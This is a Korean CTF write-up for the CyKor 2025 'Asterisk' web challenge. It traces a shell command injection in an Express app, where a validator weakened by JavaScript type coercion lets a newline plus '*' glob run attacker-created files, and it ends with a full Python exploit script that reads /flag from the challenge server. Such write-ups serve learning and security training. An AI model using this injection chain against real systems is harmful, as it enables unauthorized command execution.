🔸[Cykor2025-web-1]Asterisk
💡 Just print * ! The flag format is CyKor{ }.

Please verify your exploit locally first before asking for an instance. 🙏 You can use the pow-solver.py file to obtain a container instance.

http://54.180.15.185:8080/
문제 구조
C:.
│  Dockerfile
│  pow-solver.py
│
└─server
    │  core.js
    │  index.js
    │  package-lock.json
    │  package.json
    │
    ├─bin
    │      mini-run.js
    │
    ├─public
    │      app.html
    │      index.html
    │      login.html
    │      signup.html
    │
    └─users
            users.json
💡 전체 로드맵
CykorCTF2025-asterisk 풀이 전체 로드맵
CykorCTF2025-asterisk 풀이 전체 로드맵

1. 👀 primitive - static analysis

첫 시작은 index.js를 분석하는 것이다.

why?
  1. .html 과 .json은 제끼는 이유
    -> html은 사용자의 브라우저에서 실행되는 코드로, 아무리 조작해도 서버에 영향이 없음. XSS공격에선 유의미할 수 있으나, 해당 문제에선 서버 장악(RCE) 가 필요하기 때문에 ❌.
    -> json은 데이터/설정이므로, 실행능력이 없음. 공격의 결과물로 바뀔 수는 있어도 공격의 시작점이 될 순 없다! ❌.

  2. .js 중에서도 index.js를 보는 이유 (entry point / 종속성 관점)

    1. entry point
            {
            "name": "asterisk",
            "version": "2.0.0",
            "private": true,
            "type": "commonjs",
            "main": "index.js",
            "scripts": {
                "start": "node index.js"
            },
            "dependencies": {
                "express": "^5.1.0",
                "express-session": "^1.18.2"
            }
            }
      

      “start”: “node index.js”에서 서버를 켜면 index.js가 가장 먼저 실행되는 것을 알 수 있다.

    2. 종속성
      한편, index.js는 쉘 명령어를 통해 mini-run.js를, mini-run.js는 core.js를 호출하고 있다.
      index.js
      index.js
      mini-run.js
      mini-run.js

index.js 안에서의 데이터 흐름의 분석 과정은 다음과 같다.

  1. Backwards tracing: 시스템을 장악할 수 있는 함수 (sink) 위주로 검색하기
    검색 키워드: spawn, exec, eval, system, query
    index.js - shell 실행 spawn 함수
    index.js - shell 실행 spawn 함수

    이 가운데에서도 spawn 함수만 indexing 된다. 해당 함수는 sh를 실행하는데, 그 변수가 되는 shell은 input으로부터 오는 것을 알 수 있다.

  2. shell을 만들 때 쓰이는 input을 거꾸로 따라가기
    input은 runWithEchoPipeline의 arg1
    input은 runWithEchoPipeline의 arg1
    runWithEchoPipeline의 호출 지점
    runWithEchoPipeline의 호출 지점

    shell을 만드는 input은 정의를 따라가보면 runWithEchoPipeline의 arg1이고, runWithEchoPipeline의 모든 참조를 따라가보면 위 사진과 같이 두 지점에서 호출하고 있는 것을 확인할 수 있다. 순서대로 다음과 같다.

    💡Enpoint?

    • app.get(‘/주소’, …): GET 요청을 받는 입구
    • app.post(‘/주소’, …): POST 요청을 받는 입구

    소스 코드에서 app.post(‘/submit’이라는 글자를 보자마자 브라우저나 파이썬으로 http://서버주소/submit에 POST 요청을 보내면 이 함수가 실행될 것을 알 수 있음.

     // submit handler
     app.post('/submit', ... async (req, res) => {
         // [Source] 사용자가 보낸 데이터에서 'input'을 꺼냄
         const { code, input } = req.body || {}; 
            
         // [Sink] 사용자가 보낸 'input'을 그대로 함수에 넣음 -> 공격 가능!
         const r = await runWithEchoPipeline({ code, input }); 
         // ...
         });
    
     app.post('/judge-all', ... async (req, res) => {
         const { code } = req.body || {}; // 여기서는 'code'만 꺼내고 'input'은 안 꺼냄
         // [Sanitization] 서버가 스스로 'input' 값을 1부터 99까지 강제로 만듦
         const inputs = Array.from({ length: 99 }, (_, i) => String(i + 1));
         for (const t of inputs) {
             // [Safe] 사용자가 뭘 보내든 상관없이, 여기 들어가는 t는 무조건 "1", "2"... 
             const r = await runWithEchoPipeline({ code, input: t });
             // ...
         }
     });
    
    submit handler vs judge-all handler
    submit handler vs judge-all handler

    따라서 위와 같은 경우 submit handler가 취약할 수 있음을 이해할 수 있다.

  3. submit handler에서 통과하는 shell이 하는 동작 관찰하기
    const shell = `echo ${input} | node ../bin/mini-run.js --b64code '${b64code}'`;에 ‘\n*‘를 넘기게 되면,

         echo
         * | node ...
    

    가 동작하게 된다. 쉘에서 줄바꿈은 “앞의 명령어를 끝내고, 다음 명령어를 시작해라”라는 뜻으로 세미콜론과 같은 역할을 하므로, 와일드카드(*)가 동작하는 두번째 명령어가 중요하다. 리눅스 쉘에서 와일드 카드의 동작 예를 들어 echo * 결과가 아래와 같다면 순서대로 {실행할 프로그램(명령어)} {args0 args1 ...} 로 인식하게 된다.

         > echo *
         >> python3 hello.py hi
         > * //python3 hello.py hi
         >> hi
    

    같은 원리로 bash cscript와 같은 명령어도 실행할 수 있다. 다시금 쉘 프로그램을 실행하여 미리 만들어둔 바이너리를 실행할 수 있는 것이다(cat ./flag.txt)
    ⇨ 입력 검증값 우회, shell injection ⇨ RCE🚨

  4. shell을 만들 때 쓰이는 input을 거꾸로 따라가기; runWithEchoPipeline 함수의 validateTestInput

    이렇게 runWithEchoPipeline에서 초기화된 input 변수가 shell injection에 중요한 역할을 한다는 것을 알게되었으므로, input 값에 대한 filtering 조건 이 있는지 확인해봐야한다.

    💡 NOTE
    submit 발생 > runWithEchoPipeline > !! > shell 실행
    으로 이어지는데,

    runWithEchoPipeline의 흐름
    runWithEchoPipeline의 흐름

    이 때 validateTestInput이 filter 역할을 한다.

    validateTestInput의 정의
    validateTestInput의 정의

    validateTestInput의 정의 부분은 다음과 같이 구현되어있다.(index.js)

     function validateTestInput(inp) {
         // 1. 타입 검사: 입력값이 문자열이 아니면 차단
         if (typeof inp !== 'string') return false;
    
         // 2. 길이 검사: 글자 수는 1글자 또는 2글자여야 함
         // 이 제약 때문에 긴 공격 코드는 넣을 수 없지만, '\n*' 같은 2글자 공격은 가능
         if (inp.length < 1 || inp.length > 2) return false;
    
         // 3. 비교 기준값 1 설정 (숫자)
         // [!] check 변수에 문자열 "0"이 아니라, 숫자(Number) 0을 할당
         const check = 0;
    
         // 4. 비교 기준값 2 설정 (문자열)
         // 복잡해 보이지만, 결과적으로 upper는 문자열 "9"가 됨
         // check(0) -> "0" -> ASCII(48) -> +9(57) -> ASCII 57은 "9"
         const upper = String.fromCharCode(check.toString().charCodeAt(0) + 9);
    
         // 5. 반복문: 입력된 문자열을 한 글자씩 검사
         for (const ch of inp) {
             // 6. 핵심 취약점 발생 지점
             // 논리: (ch >= 0) 또는 (ch <= "9") 중 하나라도 참이면 통과
             if (!(ch >= check || ch <= upper)) return false;
         }
         return true;
     }
    

    구조는 아래 설명과 같다.

    자바스크립트에서 문자열과 숫자를 비교할 때, 자바스크립트 엔진은 문자열을 숫자로 강제 변환(Type Coercion)하여 비교한다. 일반적인 문자 ‘a’, ‘z’ 등은 Number(‘a’)가 NaN이 되어 NaN >= 0은 false가 되지만, 공백 문자( )개행 문자(\n, \t)는 숫자로 변환하면 0이 되므로, 줄바꿈 등 Shell injection에 치명적인 문자들을 허용해주게 된다.

    한편 두 condition 중 어느것 하나만 만족하면 되기 때문에, 후자도 관찰해보면 바로 ASCII 코드 상에서 “9”보다 작으면(ASCII 코드값 0x57) 통과된 다는 것이다. 이 두개의 느슨한 명제 때문에 아래가 가능하다
    아스키 57보다 작은 문자들: ! (33), “ (34), # (35), $, %, &, ‘, (, ), * (42), +, ,, -, ., /.

    validateTestInput의 작동 개요
    validateTestInput의 작동 개요
  5. Globbing attack을 통한 shell injection을 가능하게 하기 위한 파일 생성 gadget 찾기

    우리는 이제껏 index.js의 submit 핸들러를 트리거 – 즉, login.html에서 로그인 성공 후 접근 가능한 app.html의 code 컴포넌트에 validateTestInput 조건에 맞는 값을 입력(아래 3. Dynamic Analysis with Docker에 기술) – 함으로써 시스템 장악 == Globbing attack을 통한 shell injection이 가능함을 관찰했다.

    그러나 이 때 중요한 지점은, validateTestInput의 검증에 의해(1-4 기술 참고) 파일 생성 Gadget이 필수란 것이다.

    index.js에서 WriteFile 함수 호출 부분 찾기
    index.js에서 WriteFile 함수 호출 부분 찾기
    • Globbing attack의 요구사항: 파일 생성 가능 / 파일 이름, 내용 커스텀 가능
      • writeUsers: 파일 이름이 고정됨 (USERS_DB), 파일 내용은 json 형식으로 실행할 수 없음. ❌
      • saveUserCodeToBin: 파일 이름은 username, 파일 내용은 code로 모두 커스텀 가능 💯

    따라서 Globbing이 가능한 saveUserCodeToBin을 참조하고 있는 지점을 아래 두 사진과 같이 따라가 보자.

    saveUserCodeToBin의 참조 지점(1)
    saveUserCodeToBin의 참조 지점(1)
    참조 지점(2), (3)
    참조 지점(2), (3)

    /judge-all은 앞선 정적분석에서 사용하지 않을 것으로 이미 판단했기 때문에, /submit과 /save에서 파일 저장을 트리거할 수 있단 것을 염두에 두어야한다.

  6. submit handler와 save handler의 위치 파악

    server/public/*.html에서 submit handler 참조 확인하기
    server/public/*.html에서 submit handler 참조 확인하기
    app.html에서 submit handler 호출 확인하기
    app.html에서 submit handler 호출 확인하기
    server/public/*html에서 save handler 참조 확인하기
    server/public/*html에서 save handler 참조 확인하기
    app.html에서 save hanlder 호출 확인하기
    app.html에서 save hanlder 호출 확인하기

정확히 어떤 POST 요청에 대해 어떤 값이 날라가는지는 docker setting 후 개발자 도구에서 관찰할 수 있다.


2. Setting docker for Debugging

나는 디버깅 안되면 절대 익스를 못 작성하는데, 딱히 그러지 않고도 잘 솔브 하는 사람을 보면 신기하다..

주어진 도커파일을 참고하면, EXPOSE 3000 포트를 사용하므로 Dockerfile이 있는 디렉터리에서 아래를 실행하면 된다.

    docker build -t asterisk .
    docker run -d -p 3000:3000 --name asterisk_chall asterisk
    docker exec -it asterisk_chall /bin/bash
docker setting 완료 후
docker setting 완료 후

run까지만 해도 http://localhost:3000 접속은 가능하다. 익스 과정에서 서버 내부 상황을 보고싶다면 exec까지 실행해주면 된다.


3. Dynamic Analysis with Docker

메인 페이지에서 보이는 몇개 버튼을 눌러보면 http://localhost:3000/nnn.html 와 같은 방식으로 접속되는 것을 확인할 수 있다.

  • 별도의 경로를 주지 않아도 index.html이 보이는 이유는?
    • 웹서버의 convention으로, 웹 서버(Node.js/Express, Apache, Nginx 등)는 주소 뒤에 특정 파일명을 적지 않고 루트(Root, /)만 요청하면, 자동으로 “기본 파일”을 찾아서 보여주도록 설계되어있으며, 그 기본파일의 이름이 index.html이 되는 것
    app.use(express.static(path.join(__dirname, 'public')));
  • 대부분의 서버는 위와 같이 사용자가 디렉터리만 요청하고 파일명을 안 적었을 경우, 그 폴더 안의 index.html이 있는지를 찾아보고 -> 있으면 사용자에게 그걸 보여주도록 하는 코드를 포함하고 있음.(index.js의 23번 line)

관찰을 토대로, submit endpoint에 접근하기 위해 ‘1. static analysis’의 마지막 부분에서 확인한 app.html을 경로로 넘겨줘보면, 바로 …/login.html로 리다이렉트 된다. 이로부터 다음 세가지를 알 수 있다.

  1. 일단 app.html이 서버에 있긴 함(없으면 404 반환)
  2. app.html은 로그인을 거쳐야 접근할 수 있는 페이지임
  3. submit endpoint에 접근하기 위해 index.html > login.html >..> app.html을 거쳐야함
'app.html' 호출 문자열 index
'app.html' 호출 문자열 index
login.html에서 'app.html'을 호출하는 지점
login.html에서 'app.html'을 호출하는 지점

위 두 사진을 참고하면, login.html에서 로그인 성공시 app.html로 이동하게 된다. 그렇담 확인한 취약점은 app.html에 있기 때문에 아무 계정으로 로그인하고 app.html 페이지로 넘어간다.(계정정보는 server의 /app/server/users에 기록)

app.html에서 submit handler 호출 확인하기
app.html에서 submit handler 호출 확인하기

submit handler는 $(‘#submit’)이 눌릴 때 트리거된다. 따라서 아래와 같이 식별할 수 있다.

브라우저 console 탭에서 버튼 식별하기
브라우저 console 탭에서 버튼 식별하기

그렇담 이제 해당 버튼을 눌렀을 때 어떤 액션이 일어나는지 디버깅 해볼 차례다.

브라우저 sources 탭에서 관찰 코드 식별하여 bp 걸고 실행하기
브라우저 sources 탭에서 관찰 코드 식별하여 bp 걸고 실행하기

적당한 값과 함께 $(‘#submit’)버튼을 누르면 bp에 걸리고, 원하는 변수에 마우스온 함으로써 페이지 기준 아래쪽 칸의 값(5678) input 변수로 들어간다는 것을 알 수 있으며, 이는 마저 실행하면서 실제 이벤트가 발생됨에 따라 Network 탭에서도 아래 두번째 사진처럼 확인 가능하다.

bp 걸린 후 값 확인하기
bp 걸린 후 값 확인하기
브라우저 Network 탭에서 값 관찰
브라우저 Network 탭에서 값 관찰

SUMMARY

  • index.js > mini_run.js > core.js로 실행됨
  • 정적분석: Req.body를 받아 sh의 인자로 넘김. /submit 엔드포인트가 중요.
    • 이 때 sh의 인자로 넘기기 전에 길이 및 ASCII 범위 제한을 검토하는 validation이 존재하는데, 여기서 충분히 걸러내지 못하면서(js의 강제 형변환) 🚨shell injection🚨이 가능해짐
  • 동적분석: docker 실행하고 브라우저 접속하면 input이 login 성공 후 접속 가능한 app.html의 좌측 상단에서 두번째 칸, 엔드포인트는 Run 버튼 클릭 시 호출됨을 알 수 있음.

4. exploit 작성

🎮Exploit Code🎮
    import requests
    import json
    import sys

    # [중요] 문제 서버 URL (맨 뒤 슬래시 '/' 제거 필수)
    # 예: http://54.180.15.185:8080/play/Qm...
    TARGET_URL = "http://54.180.15.185:8080/play/Qm44xPxHsE1bZUtoO7ZDq0zDCexLiwGT"

    def register_and_save(s, username, code):
        # 1. Signup
        print(f"[*] Registering user: {username}")
        r = s.post(f"{TARGET_URL}/signup", json={"username": username, "password": "password123"})
        
        if "Username already exists" in r.text:
            print(f"    User {username} exists, trying to login...")
        
        # 2. Login
        r = s.post(f"{TARGET_URL}/login", json={"username": username, "password": "password123"})
        
        # 에러 체크 강화
        if not r.json().get("ok"):
            print(f"[-] Login failed for {username}")
            print(f"[-] Server Error: {r.text}")
            sys.exit(1)
            
        # 3. Save Code
        print(f"[*] Saving payload to {username}...")
        r = s.post(f"{TARGET_URL}/save", json={"code": code})
        if not r.json().get("ok"):
            print(f"[-] Save failed: {r.text}")
            sys.exit(1)

    def exploit():
        s = requests.Session()
        
        # [수정됨] 유저 이름에서 밑줄(_) 제거!
        
        # Step 1: 'bash' (명령어)
        register_and_save(s, "bash", "dummy")
        
        # Step 2: 'cscript' (실행할 스크립트 파일)
        # 내용: 플래그 파일 읽기
        register_and_save(s, "cscript", "cat /flag")
        
        # Step 3: 'ztrigger' (공격 트리거용 유저)
        # 출력 많이 하기
        trigger_code = "\n".join(["input s", "print s"] * 10)
        
        print(f"[*] Registering trigger user...")
        # 여기도 이름 변경: z_trigger -> ztrigger
        r = s.post(f"{TARGET_URL}/signup", json={"username": "ztrigger", "password": "password123"})
        s.post(f"{TARGET_URL}/login", json={"username": "ztrigger", "password": "password123"})
        
        # Step 4: 공격 실행
        # '\n*' -> 쉘 확장 -> bash cscript users.json ztrigger ...
        print("[*] Sending exploit payload...")
        r = s.post(f"{TARGET_URL}/submit", json={
            "code": trigger_code,
            "input": "\n*" 
        })
        
        response = r.json()
        stdout = response.get("stdout", "")
        
        print("\n" + "="*20 + " FULL OUTPUT " + "="*20)
        print(stdout)
        print("="*53 + "\n")
        
        if "CyKor{" in stdout:
            print(f"[+] SUCCESS! Flag found in output.")
        else:
            print("[-] Flag not found immediately. Check the FULL OUTPUT above.")

    if __name__ == "__main__":
        exploit()